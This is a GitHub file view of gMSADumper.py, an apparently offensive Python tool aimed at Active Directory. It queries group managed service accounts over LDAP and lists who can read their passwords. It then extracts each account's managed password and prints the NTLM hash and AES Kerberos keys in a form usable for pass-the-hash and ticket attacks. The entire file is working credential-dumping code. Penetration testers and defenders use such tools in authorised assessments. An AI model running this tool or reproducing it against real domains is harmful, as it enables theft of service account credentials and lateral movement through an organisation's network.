-
Notifications
You must be signed in to change notification settings - Fork 64
Expand file tree
/
Copy pathgMSADumper.py
More file actions
133 lines (113 loc) · 6.14 KB
/
gMSADumper.py
File metadata and controls
133 lines (113 loc) · 6.14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/env python3
from ldap3 import ALL, Server, Connection, NTLM, SASL, KERBEROS, extend, SUBTREE
import argparse
from binascii import hexlify
from Cryptodome.Hash import MD4
from impacket.ldap.ldaptypes import ACE, ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, LDAP_SID, SR_SECURITY_DESCRIPTOR
from impacket.structure import Structure
from impacket.krb5 import constants
from impacket.krb5.crypto import string_to_key
import sys
parser = argparse.ArgumentParser(description='Dump gMSA Passwords')
parser.add_argument('-u','--username', help='username for LDAP', required=False)
parser.add_argument('-p','--password', help='password for LDAP (or LM:NT hash)',required=False)
parser.add_argument('-k','--kerberos', help='use kerberos authentication',required=False, action='store_true')
parser.add_argument('-l','--ldapserver', help='LDAP server (or domain)', required=False)
parser.add_argument('-d','--domain', help='Domain', required=True)
class MSDS_MANAGEDPASSWORD_BLOB(Structure):
structure = (
('Version','<H'),
('Reserved','<H'),
('Length','<L'),
('CurrentPasswordOffset','<H'),
('PreviousPasswordOffset','<H'),
('QueryPasswordIntervalOffset','<H'),
('UnchangedPasswordIntervalOffset','<H'),
('CurrentPassword',':'),
('PreviousPassword',':'),
#('AlignmentPadding',':'),
('QueryPasswordInterval',':'),
('UnchangedPasswordInterval',':'),
)
def __init__(self, data = None):
Structure.__init__(self, data = data)
def fromString(self, data):
Structure.fromString(self,data)
if self['PreviousPasswordOffset'] == 0:
endData = self['QueryPasswordIntervalOffset']
else:
endData = self['PreviousPasswordOffset']
self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]
if self['PreviousPasswordOffset'] != 0:
self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]
self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]
self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]
def base_creator(domain):
search_base = ""
base = domain.split(".")
for b in base:
search_base += "DC=" + b + ","
return search_base[:-1]
def main():
args = parser.parse_args()
if args.kerberos and (args.username or args.password):
print("-k and -u|-p options are mutually exclusive")
sys.exit(-1)
if args.password and not args.username:
print("specify a username or use -k for kerberos authentication")
sys.exit(-1)
if args.username and not args.password:
print("specify a password or use -k for kerberos authentication")
sys.exit(-1)
if args.ldapserver:
server = Server(args.ldapserver, get_info=ALL)
else:
server = Server(args.domain, get_info=ALL)
if not args.kerberos:
conn = Connection(server, user='{}\\{}'.format(args.domain, args.username), password=args.password, authentication=NTLM, auto_bind=True)
else:
conn = Connection(server, authentication=SASL, sasl_mechanism=KERBEROS, auto_bind=True)
ldaps = False
try:
conn.start_tls()
ldaps = True
except:
print('Unable to start a TLS connection. Is LDAPS enabled? Only ACLs will be listed and not ms-DS-ManagedPassword.\n')
if ldaps:
success = conn.search(base_creator(args.domain), '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword','msDS-GroupMSAMembership'])
else:
success = conn.search(base_creator(args.domain), '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=SUBTREE, attributes=['sAMAccountName','msDS-GroupMSAMembership'])
if success:
if len(conn.entries) == 0:
print('No gMSAs returned.')
for entry in conn.entries:
sam = entry['sAMAccountName'].value
print('Users or groups who can read password for '+sam+':')
for dacl in SR_SECURITY_DESCRIPTOR(data=entry['msDS-GroupMSAMembership'].raw_values[0])['Dacl']['Data']:
conn.search(base_creator(args.domain), '(&(objectSID='+dacl['Ace']['Sid'].formatCanonical()+'))', attributes=['sAMAccountName'])
# Added this check to prevent an error from occuring when there are no results returned
if len(conn.entries) != 0:
print(' > ' + conn.entries[0]['sAMAccountName'].value)
if 'msDS-ManagedPassword' in entry and entry['msDS-ManagedPassword']:
data = entry['msDS-ManagedPassword'].raw_values[0]
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(data)
currentPassword = blob['CurrentPassword'][:-2]
# Compute ntlm key
ntlm_hash = MD4.new ()
ntlm_hash.update (currentPassword)
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
userpass = sam + ':::' + passwd
print(userpass)
# Compute aes keys
password = currentPassword.decode('utf-16-le', 'replace').encode('utf-8')
salt = '%shost%s.%s' % (args.domain.upper(), sam[:-1].lower(), args.domain.lower())
aes_128_hash = hexlify(string_to_key(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, password, salt).contents)
aes_256_hash = hexlify(string_to_key(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, password, salt).contents)
print('%s:aes256-cts-hmac-sha1-96:%s' % (sam, aes_256_hash.decode('utf-8')))
print('%s:aes128-cts-hmac-sha1-96:%s' % (sam, aes_128_hash.decode('utf-8')))
else:
print('LDAP query failed.')
print(success)
if __name__ == "__main__":
main()